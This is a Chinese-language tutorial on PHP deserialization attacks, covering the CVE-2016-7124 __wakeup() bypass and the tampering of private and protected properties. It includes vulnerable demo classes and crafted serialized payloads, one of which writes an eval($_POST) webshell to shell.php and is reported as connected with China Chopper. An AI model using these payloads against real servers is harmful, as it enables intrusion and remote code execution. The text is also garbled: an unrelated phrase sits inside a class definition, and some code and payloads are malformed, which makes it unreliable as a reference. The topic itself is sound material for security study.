PHP反序列化漏洞原理概述-SECOND
PHP反序列化漏洞
1.绕过魔法函数
wakeup()魔法函数
在unserialize()反序列化函数执⾏时会检测是否存在wakeup()⽅法,如果存在会先调⽤wakeup()⽅法作为预先准备对象需要的资源,经常⽤于执⾏⼀些初始化操作,或者重现建⽴数据库连接等场景
PHP反序列化漏洞CVE-2016-7124
当反序列化字符串中,表⽰属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏
影响范围
PHP5<5.6.25
PHP7<7.0.10
我们当前的PHP环境版本为5.4.45<5.6.25,存在该反序列化漏洞
1.wakeup()绕过原理demo
//7.php
<?php
class wakeup_bug
php8兼容php7吗{
public$a='wakeup';
function__destruct()
{
echo'I an not '.$this->a;
}
function__wakeup()
{
echo'I am '.$this->a.'</br>';
}
}
unserialize($_GET['id']);
>
构造payload:
我们⾃⼰按照这个类的格式,构造出⼀个序列化后的对象,如下
O:10:"wakeup_bug":1:{s:1:"a";s:6:"wakeup";}
同时我们可以发现 __wakeup()在__destruct()函数之前执⾏,说明,只要存在了反序列化操作,__wakeup()函数的优先级⾼。
当属性个数值⼤于真实属性个数值时,可绕过wakeup()函数,我们将⾃定义的序列化值修改⼀下,如下
将属性个数改为2>真实属性个数1
O:10:"wakeup_bug":2:{s:1:"a";s:6:"wakeup";}
绕过wakeup()函数成功,只执⾏了destruct()函数。
2.wakeup()绕过原理demo1
在该demo中,__destruct() 中定义了⽂件操作,打开⼀个shell.php⽂件,写⼊变量$a的值,然后保存关闭该⽂件。
⽽ __wakeup() 函数中定义了
foreach()函数:遍历数组函数
get_object_vars():返回由对象属性组成的关联数组
在此处将$this指向的对象的值清空
该demo1中有写⼊⽂件操作,这是⼀个危险操作,当我们能绕过__wakeup()函数,就可以写⼊⼀句话⽊马,获取webshell
//8.php
<?php
class a
{
var$a="test";
function__destruct()
{
$fp=fopen("shell.php","w+")
fputs($fp,$this->a);
fclose($fp);
}
function__wakeup()//清空$a的值
{
foreach(get_object_vars($this)as$b=>$c)
{$this->$b=null;}
}
}
>
由于__wakeup()函数执⾏先于__destruct()函数,也就是说,在 __destruct()函数执⾏⽂件操作 时,⽽__wakeup()函数已经清空了$a的值,__destruct()函数写⼊shell.php⽂件的为空值。
此时就需要绕过__wakeup()函数
构造payload
我们⾃⼰按照这个类的格式,构造出⼀个序列化后的对象,对象的属性值赋予⼀句话⽊马,写⼊⽂件,如下
O:1:"a":1:{s:1:"a";s:27:"<?php @eval($_POST[123]);?>"}
⽊马植⼊成功,中国菜⼑连接成功
2.private(私有)、protected(保护)属性外部修改
public属性可以被外部修改⽽private、proctected属性⽆法被对象外部修改原理dome
__toString()函数: 把类当做字符串使⽤时触发,也就是使⽤echo打印对象时触发该函数。
//9.php
<?php
class stundet
{
public$name='BYF';
private$age='20';
protected$sex='boy';
function__toString()
{
return'name: '.$this->name.'</br>age: '.$this->age.'</br>sex: '.$this->sex;
}
}
$s1=new stundet();
echo$s1.'</br>';
echo serialize($s1);
>
下图为demo执⾏结果
我们发现,序列化后,private变量,和protected变量的结果与public不⼀样
O:7:"stundet":3:{s:4:"name";s:3:"BYF";s:12:"stundetage";s:2:"20";s:6:"*sex";s:3:"boy";}
private:在序列化后属性名为,类+变量名,且类使⽤<0x00>空字符相隔,在页⾯回显中⽆法看出proctected:在序列化后属性名为,*+变量名,且*使⽤<0x00>空字符相隔,在页⾯回显中⽆法看出
由于序列化值中存在<0x00>空字符,占⽤⼀个字符,在url中%00为空字符
构造payload
从外部修改private&proctected属性值
O:7:"stundet":3:{s:4:"name";s:3:"SHY";s:12:"%00stundet%00age";s:2:"19";s:6:"%00*%00sex";s:4:"girl";}

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。